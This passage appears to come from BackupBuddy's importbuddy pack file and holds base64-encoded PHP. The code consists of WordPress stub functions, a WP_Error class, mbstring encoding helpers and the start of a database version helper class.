A9PiBBQlNQQVRIICk7Cn0KCi8qKgogKiBQb29yIG1hbidzIHdwX2RpZSBmdW5jdGlvbi4KICoKICogQHBhcmFtIHN0cmluZyAkbWVzc2FnZSAgTWVzc2FnZSB0byBkaXNwbGF5LgogKi8KZnVuY3Rpb24gd3BfZGllKCAkbWVzc2FnZSApIHsKCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdlcnJvcicsICd3cF9kaWUoKSBjYWxsZWQgd2l0aCBtZXNzYWdlOiAnIC4gJG1lc3NhZ2UgKTsKCWRpZSggJG1lc3NhZ2UgKTsKfQoKLyoqCiAqIE5vdCBpbXBsZW1lbnRlZCBidXQgbm9uLWJsb2NraW5nCiAqLwpmdW5jdGlvbiB3cF9sb2FkX3RyYW5zbGF0aW9uc19lYXJseSgpIHsKfQoKLyoqCiAqIE5vdCBpbXBsZW1lbnRlZCBidXQgbm9uLWJsb2NraW5nCiAqLwpmdW5jdGlvbiB3cF9kZWJ1Z19iYWNrdHJhY2Vfc3VtbWFyeSgpIHsKfQoKaWYgKCAhIGRlZmluZWQoICdXUF9ERUJVRycgKSApIHsKCWRlZmluZSggJ1dQX0RFQlVHJywgZmFsc2UgKTsKfQppZiAoICEgZGVmaW5lZCggJ1dQX0RFQlVHX0RJU1BMQVknICkgKSB7CglkZWZpbmUoICdXUF9ERUJVR19ESVNQTEFZJywgdHJ1ZSApOwp9CmlmICggISBkZWZpbmVkKCAnV1BfREVCVUdfTE9HJyApICkgewoJZGVmaW5lKCAnV1BfREVCVUdfTE9HJywgZmFsc2UgKTsKfQppZiAoICEgZGVmaW5lZCggJ1dQX0NBQ0hFJyApICkgewoJZGVmaW5lKCAnV1BfQ0FDSEUnLCBmYWxzZSApOwp9CgovKioKICogTm90IGltcGxlbWVudGVkLCBhZGRzID8gYmVmb3JlIHBhcmFtLgogKgogKiBAcGFyYW0gc3RyaW5nICR2YWwgIFVSTCB0byByZXR1cm4uCiAqCiAqIEByZXR1cm4gc3RyaW5nICAkdmFsLCBwcmVmaXhlZCB3aXRoID8KICovCmZ1bmN0aW9uIGFkbWluX3VybCggJHZhbCApIHsKCXJldHVybiAnPycgLiAkdmFsOwp9CgoKLyoqCiAqIFdvcmRQcmVzcyBFcnJvciBjbGFzcy4KICoKICogQ29udGFpbmVyIGZvciBjaGVja2luZyBmb3IgV29yZFByZXNzIGVycm9ycyBhbmQgZXJyb3IgbWVzc2FnZXMuIFJldHVybgogKiBXUF9FcnJvciBhbmQgdXNlIHtAbGluayBpc193cF9lcnJvcigpfSB0byBjaGVjayBpZiB0aGlzIGNsYXNzIGlzIHJldHVybmVkLgogKiBNYW55IGNvcmUgV29yZFByZXNzIGZ1bmN0aW9ucyBwYXNzIHRoaXMgY2xhc3MgaW4gdGhlIGV2ZW50IG9mIGFuIGVycm9yIGFuZAogKiBpZiBub3QgaGFuZGxlZCBwcm9wZXJseSB3aWxsIHJlc3VsdCBpbiBjb2RlIGVycm9ycy4KICoKICogQHBhY2thZ2UgV29yZFByZXNzCiAqIEBzaW5jZSAyLjEuMAogKi8KY2xhc3MgV1BfRXJyb3IgewoJLyoqCgkgKiBTdG9yZXMgdGhlIGxpc3Qgb2YgZXJyb3JzLgoJICoKCSAqIEBzaW5jZSAyLjEuMAoJICogQHZhciBhcnJheQoJICovCglwdWJsaWMgJGVycm9ycyA9IGFycmF5KCk7CgoJLyoqCgkgKiBTdG9yZXMgdGhlIGxpc3Qgb2YgZGF0YSBmb3IgZXJyb3IgY29kZXMuCgkgKgoJICogQHNpbmNlIDIuMS4wCgkgKiBAdmFyIGFycmF5CgkgKi8KCXB1YmxpYyAkZXJyb3JfZGF0YSA9IGFycmF5KCk7CgoJLyoqCgkgKiBJbml0aWFsaXplIHRoZSBlcnJvci4KCSAqCgkgKiBJZiBgJGNvZGVgIGlzIGVtcHR5LCB0aGUgb3RoZXIgcGFyYW1ldGVycyB3aWxsIGJlIGlnbm9yZWQuCgkgKiBXaGVuIGAkY29kZWAgaXMgbm90IGVtcHR5LCBgJG1lc3NhZ2VgIHdpbGwgYmUgdXNlZCBldmVuIGlmCgkgKiBpdCBpcyBlbXB0eS4gVGhlIGAkZGF0YWAgcGFyYW1ldGVyIHdpbGwgYmUgdXNlZCBvbmx5IGlmIGl0CgkgKiBpcyBub3QgZW1wdHkuCgkgKgoJICogVGhvdWdoIHRoZSBjbGFzcyBpcyBjb25zdHJ1Y3RlZCB3aXRoIGEgc2luZ2xlIGVycm9yIGNvZGUgYW5kCgkgKiBtZXNzYWdlLCBtdWx0aXBsZSBjb2RlcyBjYW4gYmUgYWRkZWQgdXNpbmcgdGhlIGBhZGQoKWAgbWV0aG9kLgoJICoKCSAqIEBzaW5jZSAyLjEuMAoJICoKCSAqIEBwYXJhbSBzdHJpbmd8aW50ICRjb2RlICAgICBFcnJvciBjb2RlLgoJICogQHBhcmFtIHN0cmluZyAgICAgJG1lc3NhZ2UgIEVycm9yIG1lc3NhZ2UuCgkgKiBAcGFyYW0gbWl4ZWQgICAgICAkZGF0YSAgICAgT3B0aW9uYWwuIEVycm9yIGRhdGEuCgkgKi8KCXB1YmxpYyBmdW5jdGlvbiBfX2NvbnN0cnVjdCggJGNvZGUgPSAnJywgJG1lc3NhZ2UgPSAnJywgJGRhdGEgPSAnJyApIHsKCQlpZiAoIGVtcHR5KCAkY29kZSApICkgewoJCQlyZXR1cm47CgkJfQoKCQkkdGhpcy0+ZXJyb3JzWyAkY29kZSBdW10gPSAkbWVzc2FnZTsKCgkJaWYgKCAhIGVtcHR5KCAkZGF0YSApICkgewoJCQkkdGhpcy0+ZXJyb3JfZGF0YVsgJGNvZGUgXSA9ICRkYXRhOwoJCX0KCX0KCgkvKioKCSAqIFJldHJpZXZlIGFsbCBlcnJvciBjb2Rlcy4KCSAqCgkgKiBAc2luY2UgMi4xLjAKCSAqIEBhY2Nlc3MgcHVibGljCgkgKgoJICogQHJldHVybiBhcnJheSBMaXN0IG9mIGVycm9yIGNvZGVzLCBpZiBhdmFpbGFibGUuCgkgKi8KCXB1YmxpYyBmdW5jdGlvbiBnZXRfZXJyb3JfY29kZXMoKSB7CgkJaWYgKCBlbXB0eSggJHRoaXMtPmVycm9ycyApICkgewoJCQlyZXR1cm4gYXJyYXkoKTsKCQl9CgoJCXJldHVybiBhcnJheV9rZXlzKCAkdGhpcy0+ZXJyb3JzICk7Cgl9CgoJLyoqCgkgKiBSZXRyaWV2ZSBmaXJzdCBlcnJvciBjb2RlIGF2YWlsYWJsZS4KCSAqCgkgKiBAc2luY2UgMi4xLjAKCSAqIEBhY2Nlc3MgcHVibGljCgkgKgoJICogQHJldHVybiBzdHJpbmd8aW50IEVtcHR5IHN0cmluZywgaWYgbm8gZXJyb3IgY29kZXMuCgkgKi8KCXB1YmxpYyBmdW5jdGlvbiBnZXRfZXJyb3JfY29kZSgpIHsKCQkkY29kZXMgPSAkdGhpcy0+Z2V0X2Vycm9yX2NvZGVzKCk7CgoJCWlmICggZW1wdHkoICRjb2RlcyApICkgewoJCQlyZXR1cm4gJyc7CgkJfQoKCQlyZXR1cm4gJGNvZGVzWzBdOwoJfQoKCS8qKgoJICogUmV0cmlldmUgYWxsIGVycm9yIG1lc3NhZ2VzIG9yIGVycm9yIG1lc3NhZ2VzIG1hdGNoaW5nIGNvZGUuCgkgKgoJICogQHNpbmNlIDIuMS4wCgkgKgoJICogQHBhcmFtIHN0cmluZ3xpbnQgJGNvZGUgT3B0aW9uYWwuIFJldHJpZXZlIG1lc3NhZ2VzIG1hdGNoaW5nIGNvZGUsIGlmIGV4aXN0cy4KCSAqIEByZXR1cm4gYXJyYXkgRXJyb3Igc3RyaW5ncyBvbiBzdWNjZXNzLCBvciBlbXB0eSBhcnJheSBvbiBmYWlsdXJlIChpZiB1c2luZyBjb2RlIHBhcmFtZXRlcikuCgkgKi8KCXB1YmxpYyBmdW5jdGlvbiBnZXRfZXJyb3JfbWVzc2FnZXMoICRjb2RlID0gJycgKSB7CgkJLy8gUmV0dXJuIGFsbCBtZXNzYWdlcyBpZiBubyBjb2RlIHNwZWNpZmllZC4KCQlpZiAoIGVtcHR5KCAkY29kZSApICkgewoJCQkkYWxsX21lc3NhZ2VzID0gYXJyYXkoKTsKCQkJZm9yZWFjaCAoIChhcnJheSkgJHRoaXMtPmVycm9ycyBhcyAkY29kZSA9PiAkbWVzc2FnZXMgKSB7CgkJCQkkYWxsX21lc3NhZ2VzID0gYXJyYXlfbWVyZ2UoICRhbGxfbWVzc2FnZXMsICRtZXNzYWdlcyApOwoJCQl9CgoJCQlyZXR1cm4gJGFsbF9tZXNzYWdlczsKCQl9CgoJCWlmICggaXNzZXQoICR0aGlzLT5lcnJvcnNbICRjb2RlIF0gKSApIHsKCQkJcmV0dXJuICR0aGlzLT5lcnJvcnNbICRjb2RlIF07CgkJfSBlbHNlIHsKCQkJcmV0dXJuIGFycmF5KCk7CgkJfQoJfQoKCS8qKgoJICogR2V0IHNpbmdsZSBlcnJvciBtZXNzYWdlLgoJICoKCSAqIFRoaXMgd2lsbCBnZXQgdGhlIGZpcnN0IG1lc3NhZ2UgYXZhaWxhYmxlIGZvciB0aGUgY29kZS4gSWYgbm8gY29kZSBpcwoJICogZ2l2ZW4gdGhlbiB0aGUgZmlyc3QgY29kZSBhdmFpbGFibGUgd2lsbCBiZSB1c2VkLgoJICoKCSAqIEBzaW5jZSAyLjEuMAoJICoKCSAqIEBwYXJhbSBzdHJpbmd8aW50ICRjb2RlIE9wdGlvbmFsLiBFcnJvciBjb2RlIHRvIHJldHJpZXZlIG1lc3NhZ2UuCgkgKiBAcmV0dXJuIHN0cmluZwoJICovCglwdWJsaWMgZnVuY3Rpb24gZ2V0X2Vycm9yX21lc3NhZ2UoICRjb2RlID0gJycgKSB7CgkJaWYgKCBlbXB0eSggJGNvZGUgKSApIHsKCQkJJGNvZGUgPSAkdGhpcy0+Z2V0X2Vycm9yX2NvZGUoKTsKCQl9CgkJJG1lc3NhZ2VzID0gJHRoaXMtPmdldF9lcnJvcl9tZXNzYWdlcyggJGNvZGUgKTsKCQlpZiAoIGVtcHR5KCAkbWVzc2FnZXMgKSApIHsKCQkJcmV0dXJuICcnOwoJCX0KCQlyZXR1cm4gJG1lc3NhZ2VzWzBdOwoJfQoKCS8qKgoJICogUmV0cmlldmUgZXJyb3IgZGF0YSBmb3IgZXJyb3IgY29kZS4KCSAqCgkgKiBAc2luY2UgMi4xLjAKCSAqCgkgKiBAcGFyYW0gc3RyaW5nfGludCAkY29kZSBPcHRpb25hbC4gRXJyb3IgY29kZS4KCSAqIEByZXR1cm4gbWl4ZWQgRXJyb3IgZGF0YSwgaWYgaXQgZXhpc3RzLgoJICovCglwdWJsaWMgZnVuY3Rpb24gZ2V0X2Vycm9yX2RhdGEoICRjb2RlID0gJycgKSB7CgkJaWYgKCBlbXB0eSggJGNvZGUgKSApIHsKCQkJJGNvZGUgPSAkdGhpcy0+Z2V0X2Vycm9yX2NvZGUoKTsKCQl9CgoJCWlmICggaXNzZXQoICR0aGlzLT5lcnJvcl9kYXRhWyAkY29kZSBdICkgKSB7CgkJCXJldHVybiAkdGhpcy0+ZXJyb3JfZGF0YVsgJGNvZGUgXTsKCQl9Cgl9CgoJLyoqCgkgKiBBZGQgYW4gZXJyb3Igb3IgYXBwZW5kIGFkZGl0aW9uYWwgbWVzc2FnZSB0byBhbiBleGlzdGluZyBlcnJvci4KCSAqCgkgKiBAc2luY2UgMi4xLjAKCSAqIEBhY2Nlc3MgcHVibGljCgkgKgoJICogQHBhcmFtIHN0cmluZ3xpbnQgJGNvZGUgRXJyb3IgY29kZS4KCSAqIEBwYXJhbSBzdHJpbmcgICAgICRtZXNzYWdlIEVycm9yIG1lc3NhZ2UuCgkgKiBAcGFyYW0gbWl4ZWQgICAgICAkZGF0YSBPcHRpb25hbC4gRXJyb3IgZGF0YS4KCSAqLwoJcHVibGljIGZ1bmN0aW9uIGFkZCggJGNvZGUsICRtZXNzYWdlLCAkZGF0YSA9ICcnICkgewoJCSR0aGlzLT5lcnJvcnNbICRjb2RlIF1bXSA9ICRtZXNzYWdlOwoJCWlmICggISBlbXB0eSggJGRhdGEgKSApIHsKCQkJJHRoaXMtPmVycm9yX2RhdGFbICRjb2RlIF0gPSAkZGF0YTsKCQl9Cgl9CgoJLyoqCgkgKiBBZGQgZGF0YSBmb3IgZXJyb3IgY29kZS4KCSAqCgkgKiBUaGUgZXJyb3IgY29kZSBjYW4gb25seSBjb250YWluIG9uZSBlcnJvciBkYXRhLgoJICoKCSAqIEBzaW5jZSAyLjEuMAoJICoKCSAqIEBwYXJhbSBtaXhlZCAgICAgICRkYXRhIEVycm9yIGRhdGEuCgkgKiBAcGFyYW0gc3RyaW5nfGludCAkY29kZSBFcnJvciBjb2RlLgoJICovCglwdWJsaWMgZnVuY3Rpb24gYWRkX2RhdGEoICRkYXRhLCAkY29kZSA9ICcnICkgewoJCWlmICggZW1wdHkoICRjb2RlICkgKSB7CgkJCSRjb2RlID0gJHRoaXMtPmdldF9lcnJvcl9jb2RlKCk7CgkJfQoKCQkkdGhpcy0+ZXJyb3JfZGF0YVsgJGNvZGUgXSA9ICRkYXRhOwoJfQoKCS8qKgoJICogUmVtb3ZlcyB0aGUgc3BlY2lmaWVkIGVycm9yLgoJICoKCSAqIFRoaXMgZnVuY3Rpb24gcmVtb3ZlcyBhbGwgZXJyb3IgbWVzc2FnZXMgYXNzb2NpYXRlZCB3aXRoIHRoZSBzcGVjaWZpZWQKCSAqIGVycm9yIGNvZGUsIGFsb25nIHdpdGggYW55IGVycm9yIGRhdGEgZm9yIHRoYXQgY29kZS4KCSAqCgkgKiBAc2luY2UgNC4xLjAKCSAqCgkgKiBAcGFyYW0gc3RyaW5nfGludCAkY29kZSBFcnJvciBjb2RlLgoJICovCglwdWJsaWMgZnVuY3Rpb24gcmVtb3ZlKCAkY29kZSApIHsKCQl1bnNldCggJHRoaXMtPmVycm9yc1sgJGNvZGUgXSApOwoJCXVuc2V0KCAkdGhpcy0+ZXJyb3JfZGF0YVsgJGNvZGUgXSApOwoJfQp9CgovKioKICogQ2hlY2sgd2hldGhlciB2YXJpYWJsZSBpcyBhIFdvcmRQcmVzcyBFcnJvci4KICoKICogUmV0dXJucyB0cnVlIGlmICR0aGluZyBpcyBhbiBvYmplY3Qgb2YgdGhlIFdQX0Vycm9yIGNsYXNzLgogKgogKiBAc2luY2UgMi4xLjAKICoKICogQHBhcmFtIG1peGVkICR0aGluZyBDaGVjayBpZiB1bmtub3duIHZhcmlhYmxlIGlzIGEgV1BfRXJyb3Igb2JqZWN0LgogKiBAcmV0dXJuIGJvb2wgVHJ1ZSwgaWYgV1BfRXJyb3IuIEZhbHNlLCBpZiBub3QgV1BfRXJyb3IuCiAqLwpmdW5jdGlvbiBpc193cF9lcnJvciggJHRoaW5nICkgewoJcmV0dXJuICggJHRoaW5nIGluc3RhbmNlb2YgV1BfRXJyb3IgKTsKfQoKLyoqCiAqIFNldCB0aGUgbWJzdHJpbmcgaW50ZXJuYWwgZW5jb2RpbmcgdG8gYSBiaW5hcnkgc2FmZSBlbmNvZGluZyB3aGVuIGZ1bmNfb3ZlcmxvYWQKICogaXMgZW5hYmxlZC4KICoKICogV2hlbiBtYnN0cmluZy5mdW5jX292ZXJsb2FkIGlzIGluIHVzZSBmb3IgbXVsdGktYnl0ZSBlbmNvZGluZ3MsIHRoZSByZXN1bHRzIGZyb20KICogc3RybGVuKCkgYW5kIHNpbWlsYXIgZnVuY3Rpb25zIHJlc3BlY3QgdGhlIHV0ZjggY2hhcmFjdGVycywgY2F1c2luZyBiaW5hcnkgZGF0YQogKiB0byByZXR1cm4gaW5jb3JyZWN0IGxlbmd0aHMuCiAqCiAqIFRoaXMgZnVuY3Rpb24gb3ZlcnJpZGVzIHRoZSBtYnN0cmluZyBlbmNvZGluZyB0byBhIGJpbmFyeS1zYWZlIGVuY29kaW5nLCBhbmQKICogcmVzZXRzIGl0IHRvIHRoZSB1c2VycyBleHBlY3RlZCBlbmNvZGluZyBhZnRlcndhcmRzIHRocm91Z2ggdGhlCiAqIGByZXNldF9tYnN0cmluZ19lbmNvZGluZ2AgZnVuY3Rpb24uCiAqCiAqIEl0IGlzIHNhZmUgdG8gcmVjdXJzaXZlbHkgY2FsbCB0aGlzIGZ1bmN0aW9uLCBob3dldmVyIGVhY2gKICogYG1ic3RyaW5nX2JpbmFyeV9zYWZlX2VuY29kaW5nKClgIGNhbGwgbXVzdCBiZSBmb2xsb3dlZCB1cCB3aXRoIGFuIGVxdWFsIG51bWJlcgogKiBvZiBgcmVzZXRfbWJzdHJpbmdfZW5jb2RpbmcoKWAgY2FsbHMuCiAqCiAqIEBzaW5jZSAzLjcuMAogKgogKiBAc2VlIHJlc2V0X21ic3RyaW5nX2VuY29kaW5nKCkKICoKICogQHN0YXRpY3ZhciBhcnJheSAkZW5jb2RpbmdzCiAqIEBzdGF0aWN2YXIgYm9vbCAgJG92ZXJsb2FkZWQKICoKICogQHBhcmFtIGJvb2wgJHJlc2V0IE9wdGlvbmFsLiBXaGV0aGVyIHRvIHJlc2V0IHRoZSBlbmNvZGluZyBiYWNrIHRvIGEgcHJldmlvdXNseS1zZXQgZW5jb2RpbmcuCiAqICAgICAgICAgICAgICAgICAgICBEZWZhdWx0IGZhbHNlLgogKi8KZnVuY3Rpb24gbWJzdHJpbmdfYmluYXJ5X3NhZmVfZW5jb2RpbmcoICRyZXNldCA9IGZhbHNlICkgewoJc3RhdGljICRlbmNvZGluZ3MgID0gYXJyYXkoKTsKCXN0YXRpYyAkb3ZlcmxvYWRlZCA9IG51bGw7CgoJaWYgKCBpc19udWxsKCAkb3ZlcmxvYWRlZCApICkgewoJCSRvdmVybG9hZGVkID0gZnVuY3Rpb25fZXhpc3RzKCAnbWJfaW50ZXJuYWxfZW5jb2RpbmcnICkgJiYgKCBpbmlfZ2V0KCAnbWJzdHJpbmcuZnVuY19vdmVybG9hZCcgKSAmIDIgKTsKCX0KCglpZiAoIGZhbHNlID09PSAkb3ZlcmxvYWRlZCApIHsKCQlyZXR1cm47Cgl9CgoJaWYgKCAhICRyZXNldCApIHsKCQkkZW5jb2RpbmcgPSBtYl9pbnRlcm5hbF9lbmNvZGluZygpOwoJCWFycmF5X3B1c2goICRlbmNvZGluZ3MsICRlbmNvZGluZyApOwoJCW1iX2ludGVybmFsX2VuY29kaW5nKCAnSVNPLTg4NTktMScgKTsKCX0KCglpZiAoICRyZXNldCAmJiAkZW5jb2RpbmdzICkgewoJCSRlbmNvZGluZyA9IGFycmF5X3BvcCggJGVuY29kaW5ncyApOwoJCW1iX2ludGVybmFsX2VuY29kaW5nKCAkZW5jb2RpbmcgKTsKCX0KfQoKLyoqCiAqIFJlc2V0IHRoZSBtYnN0cmluZyBpbnRlcm5hbCBlbmNvZGluZyB0byBhIHVzZXJzIHByZXZpb3VzbHkgc2V0IGVuY29kaW5nLgogKgogKiBAc2VlIG1ic3RyaW5nX2JpbmFyeV9zYWZlX2VuY29kaW5nKCkKICoKICogQHNpbmNlIDMuNy4wCiAqLwpmdW5jdGlvbiByZXNldF9tYnN0cmluZ19lbmNvZGluZygpIHsKCW1ic3RyaW5nX2JpbmFyeV9zYWZlX2VuY29kaW5nKCB0cnVlICk7Cn0KCi8qKgogKiBDaGVja3MgaWYgVGVtcGxhdGUgUmVkaXJlY3QgYWN0aW9uIGhhcyBoYXBwZW5lZC4KICoKICogQHBhcmFtIHN0cmluZyAkYWN0aW9uICBDaGVja3MgaWYgYWN0aW9uIGhhcyBiZWVuIHVzZWQuCiAqCiAqIEByZXR1cm4gYm9vbHxudWxsICBUcnVlIGlmICRhY3Rpb24gaXMgJ3RlbXBsYXRlX3JlZGlyZWN0JwogKi8KZnVuY3Rpb24gZGlkX2FjdGlvbiggJGFjdGlvbiApIHsKCWlmICggJ3RlbXBsYXRlX3JlZGlyZWN0JyA9PSAkYWN0aW9uICkgewoJCXJldHVybiB0cnVlOwoJfQp9CgovKioKICogUGxhY2Vob2xkZXIgZnVuY3Rpb24gZm9yIFdQIERvaW5nIGl0IFdyb25nIGZ1bmN0aW9uLiBOb3QgaW1wbGVtZW50ZWQuCiAqCiAqIEBwYXJhbSBzdHJpbmcgJGZ1bmN0aW9uICBGdW5jdGlvbiBuYW1lLgogKiBAcGFyYW0gc3RyaW5nICRtZXNzYWdlICAgTWVzc2FnZSB0byBkaXNwbGF5LgogKiBAcGFyYW0gc3RyaW5nICR2ZXJzaW9uICAgVmVyc2lvbiB0byBub3RlLgogKi8KZnVuY3Rpb24gX2RvaW5nX2l0X3dyb25nKCAkZnVuY3Rpb24sICRtZXNzYWdlLCAkdmVyc2lvbiApIHsgLy8gQGNvZGluZ1N0YW5kYXJkc0lnbm9yZUxpbmU6IFBsYWNlaG9sZGVyIGZ1bmN0aW9uLgp9CgovKioKICogUGxhY2Vob2xkZXIgZnVuY3Rpb24gZm9yIFdQIGhhc19maWx0ZXIuCiAqCiAqIEBwYXJhbSBzdHJpbmcgICAgICAgICAgICAgICAgJG5hbWUgICAgICBOYW1lIG9mIGZpbHRlci4KICogQHBhcmFtIHN0cmluZ3xhcnJheXxmdW5jdGlvbiAkY2FsbGJhY2sgIENhbGxiYWNrIGZ1bmN0aW9uIG5hbWUsIGFycmF5IG9yIGZ1bmN0aW9uLgogKgogKiBAcmV0dXJuIGJvb2wgIEFsd2F5cyByZXR1cm5zIHRydWUuCiAqLwpmdW5jdGlvbiBoYXNfZmlsdGVyKCAkbmFtZSwgJGNhbGxiYWNrICkgewoJcmV0dXJuIHRydWU7Cn0K
###PACKDATA,FILE_END,/pluginbuddy/standalone_preloader.php,importbuddy/pluginbuddy/standalone_preloader.php
###PACKDATA,FILE_START,/pluginbuddy/classes/class-pb-backupbuddy-db-helpers.php,importbuddy/pluginbuddy/classes/class-pb-backupbuddy-db-helpers.php
PD9waHAKLyoqCiAqIERhdGFiYXNlIEhlbHBlcnMgQ2xhc3MgZm9yIFBsdWdpbkJ1ZGR5CiAqCiAqIEBwYWNrYWdlIEJhY2t1cEJ1ZGR5CiAqIEBhdXRob3IgQnJpYW4gRGlDaGlhcmEgPGJkaWNoaWFyYUBpdGhlbWVzLmNvbT4KICogQHNpbmNlIDguMi43CiAqLwoKLyoqCiAqIEFkZHMgc3RhdGljIG1ldGhvZHMgdG8gZ2V0IGluZm9ybWF0aW9uIGFib3V0IGRhdGFiYXNlIHZlcnNpb24gYW5kIHR5cGUuCiAqLwpjbGFzcyBQQl9CYWNrdXBidWRkeV9EQl9IZWxwZXJzIHsKCgkvKioKCSAqIENoZWNrcyBpZiBwcm9wZXJ0aWVzIGhhdmUgYmVlbiBpbml0aWFsaXplZCB5ZXQuCgkgKgoJICogQHZhciBib29sCgkgKi8KCXByaXZhdGUgc3RhdGljICRoYXNfaW5pdCA9IGZhbHNlOwoKCS8qKgoJICogSXMgTWFyaWFEQiBiZWluZyB1c2VkPyBEZWZhdWx0IGZhbHNlLgoJICoKCSAqIEB2YXIgYm9vbAoJICovCglwcml2YXRlIHN0YXRpYyAkaXNfbWFyaWFfZGIgPSBmYWxzZTsKCgkvKioKCSAqIElzIE15U1FMIGJlaW5nIFVzZWQ/IERlZmF1bHQ6IHRydWUuCgkgKgoJICogQHZhciBib29sCgkgKi8KCXByaXZhdGUgc3RhdGljICRpc19teXNxbCA9IHRydWU7CgoJLyoqCgkgKiBMb2NhbCBjYWNoZSBzdG9yYWdlCgkgKgoJICogQHZhciBhcnJheQoJICovCglwcml2YXRlIHN0YXRpYyAkY2FjaGUgPSBhcnJheSgpOwoKCS8qKgoJICogV1AgQ2FjaGUgR3JvdXAKCSAqCgkgKiBAdmFyIHN0cmluZwoJICovCglwcml2YXRlIHN0YXRpYyAkd3BfY2FjaGVfZ3JvdXAgPSAnUEJfQmFja3VwYnVkZHlfREJfSGVscGVycyc7CgoJLyoqCgkgKiBMb2NhbCBhbmQgV1AgQ2FjaGUgUmV0cmlldmFsCgkgKgoJICogQHBhcmFtIHN0cmluZyAka2V5ICBDYWNoZSBzdG9yYWdlIGtleS4KCSAqCgkgKiBAcmV0dXJuIG1peGVkfGZhbHNlICBDYWNoZWQgdmFsdWUgb3IgZmFsc2Ugd2hlbiBub3QgcHJlc2VudC4KCSAqLwoJcHVibGljIHN0YXRpYyBmdW5jdGlvbiBjYWNoZV9nZXQoICRrZXkgKSB7CgkJJHZhbHVlID0gaXNzZXQoIHNlbGY6OiRjYWNoZVsgJGtleSBdICkgPyBzZWxmOjokY2FjaGVbICRrZXkgXSA6IGZhbHNlOwoJCWlmICggZnVuY3Rpb25fZXhpc3RzKCAnd3BfY2FjaGVfZ2V0JyApICkgewoJCQkkdmFsdWUgPSB3cF9jYWNoZV9nZXQoICRrZXksIHNlbGY6OiR3cF9jYWNoZV9ncm91cCApOwoJCX0KCgkJcmV0dXJuICR2YWx1ZTsKCX0KCgkvKioKCSAqIExvY2FsIGFuZCBXUCBDYWNoZSBzZXR0aW5nLgoJICoKCSAqIEBwYXJhbSBzdHJpbmcgJGtleSAgICBDYWNoZSBzdG9yYWdlIGtleS4KCSAqIEBwYXJhbSBtaXhlZCAgJHZhbHVlICBWYWx1ZSB0byBzdG9yZS4KCSAqCgkgKiBAcmV0dXJuIHRydWUgIEFsd2F5cyByZXR1cm5zIHRydWUuCgkgKi8KCXB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gY2FjaGVfc2V0KCAka2V5LCAkdmFsdWUgKSB7CgkJc2VsZjo6JGNhY2hlWyAka2V5IF0gPSAkdmFsdWU7CgoJCWlmICggZnVuY3Rpb25fZXhpc3RzKCAnd3BfY2FjaGVfc2V0JyApICkgewoJCQlyZXR1cm4gd3BfY2FjaGVfc2V0KCAka2V5LCAkdmFsdWUsIHNlbGY6OiR3cF9jYWNoZV9ncm91cCApOwoJCX0KCgkJcmV0dXJuIHRydWU7Cgl9CgoJLyoqCgkgKiBSZXRyaWV2ZSBhbmQgc3RvcmUgdmVyc2lvbiBpbmZvcm1hdGlvbiBhYm91dCB0aGUgZGF0YWJhc2UuCgkgKgoJICogQHJldHVybiBhcnJheSAgQ29udGFpbnMgdmVyc2lvbiBhbmQgdHlwZSBpbmZvcm1hdGlvbi4KCSAqLwoJcHVibGljIHN0YXRpYyBmdW5jdGlvbiBnZXRfZGJfdmVyc2lvbl9pbmZvKCkgewoJCS8vIFB1bGwgZnJvbSBjYWNoZSBmaXJzdC4KCQkkdmVyc2lvbl9pbmZvID0gc2VsZjo6Y2FjaGVfZ2V0KCAnZGJfdmVyc2lvbl9pbmZvJyApOwoKCQlpZiAoIGZhbHNlID09PSAkdmVyc2lvbl9pbmZvICkgewoJCQlnbG9iYWwgJHdwZGI7CgoJCQkkdmVyc2lvbl9pbmZvID0gYXJyYXkoKTsKCgkJCS8vIFJldHJpZXZlcyByYXcgTXlTUUwgb3IgTWFyaWFEQiB2ZXJzaW9uLgoJCQkkcmVzdWx0ID0gJHdwZGItPmdldF9yb3coICdTRUxFQ1QgVkVSU0lPTigpIGFzIGB2ZXJzaW9uYCcgKTsKCgkJCWlmICggJHJlc3VsdCApIHsKCQkJCSR2ZXJzaW9uX2luZm9bJ2RiX3ZlcnNpb24nXSA9ICRyZXN1bHQtPnZlcnNpb247CgkJCX0KCgkJCS8vIEZhbGxiYWNrIG9uIG15c3FsKl9nZXRfc2VydmVyX2luZm8uCgkJCWlmICggISBpc3NldCggJHZlcnNpb25faW5mb1snZGJfdmVyc2lvbiddICkgKSB7CgkJCQlpZiAoICR3cGRiLT51c2VfbXlzcWxpICkgewoJCQkJCSR2ZXJzaW9uX2luZm9bJ2RiX3ZlcnNpb24nXSA9IG15c3FsaV9nZXRfc2VydmVyX2luZm8oICR3cGRiLT5kYmggKTsKCQkJCX0gZWxzZSB7CgkJCQkJJHZlcnNpb25faW5mb1snZGJfdmVyc2lvbiddID0gbXlzcWxfZ2V0X3NlcnZlcl9pbmZvKCAkd3BkYi0+ZGJoICk7CgkJCQl9CgkJCX0KCgkJCWlmICggaXNzZXQoICR2ZXJzaW9uX2luZm9bJ2RiX3ZlcnNpb24nXSApICkgewoJCQkJLy8gTWFyayBpZiB1c2luZyBNYXJpYURCLgoJCQkJJHZlcnNpb25faW5mb1snaXNfbWFyaWFkYiddID0gKCBmYWxzZSAhPT0gc3RyaXBvcyggJHZlcnNpb25faW5mb1snZGJfdmVyc2lvbiddLCAnbWFyaWFkYicgKSApOwoJCQkJc2VsZjo6JGlzX21hcmlhX2RiICAgICAgICAgID0gJHZlcnNpb25faW5mb1snaXNfbWFyaWFkYiddOwoJCQkJJHZlcnNpb25faW5mb1snaXNfbXlzcWwnXSAgID0gISAkdmVyc2lvbl9pbmZvWydpc19tYXJpYWRiJ107IC8vIFN0b3JlIHRoZSBvcHBvc2l0ZSBvZiBpZiBNYXJpYURCLgoJCQkJc2VsZjo6JGlzX215c3FsICAgICAgICAgICAgID0gJHZlcnNpb25faW5mb1snaXNfbXlzcWwnXTsKCgkJCQkvLyBTdG9yZSByZWFsIHZlcnNpb24gbnVtYmVyICh4LngueCksIHN0cmlwcGluZyBvdXQgYWRkaXRpb25hbCB0ZXh0LgoJCQkJaWYgKCB0cnVlID09PSAkdmVyc2lvbl9pbmZvWydpc19tYXJpYWRiJ10gJiYgcHJlZ19tYXRjaCggJy8oLlxkK1wtKVxLKFxkK1wuKShcZCtcLikoXGQrKS8nLCAkdmVyc2lvbl9pbmZvWydkYl92ZXJzaW9uJ10sICRtYXJpYV9kYl92ZXJzaW9uICkgKSB7CgkJCQkJLy8gTWFyaWFEQiBtYXkgbG9vayBsaWtlIDUuNS41LTEwLngueC1NYXJpYURCfiBzbyBjaGVjayBmb3IgdGhpcyBmb3JtYXQgZmly